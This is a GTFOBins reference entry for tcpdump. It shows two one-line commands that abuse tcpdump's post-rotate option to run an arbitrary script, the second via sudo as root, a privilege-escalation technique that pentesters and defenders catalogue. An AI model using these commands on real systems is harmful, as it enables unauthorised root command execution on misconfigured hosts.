GTFOBins.github.io/_gtfobins/tcpdump.md
2018-08-17 17:16:09 +02:00

329 B

functions
execute-non-interactive sudo-enabled
code
echo "whoami > /tmp/whoami" > /tmp/tmpfile tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./tmpfile -Z root
code
echo "whoami > /tmp/whoami" > /tmp/tmpfile sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./tmpfile -Z root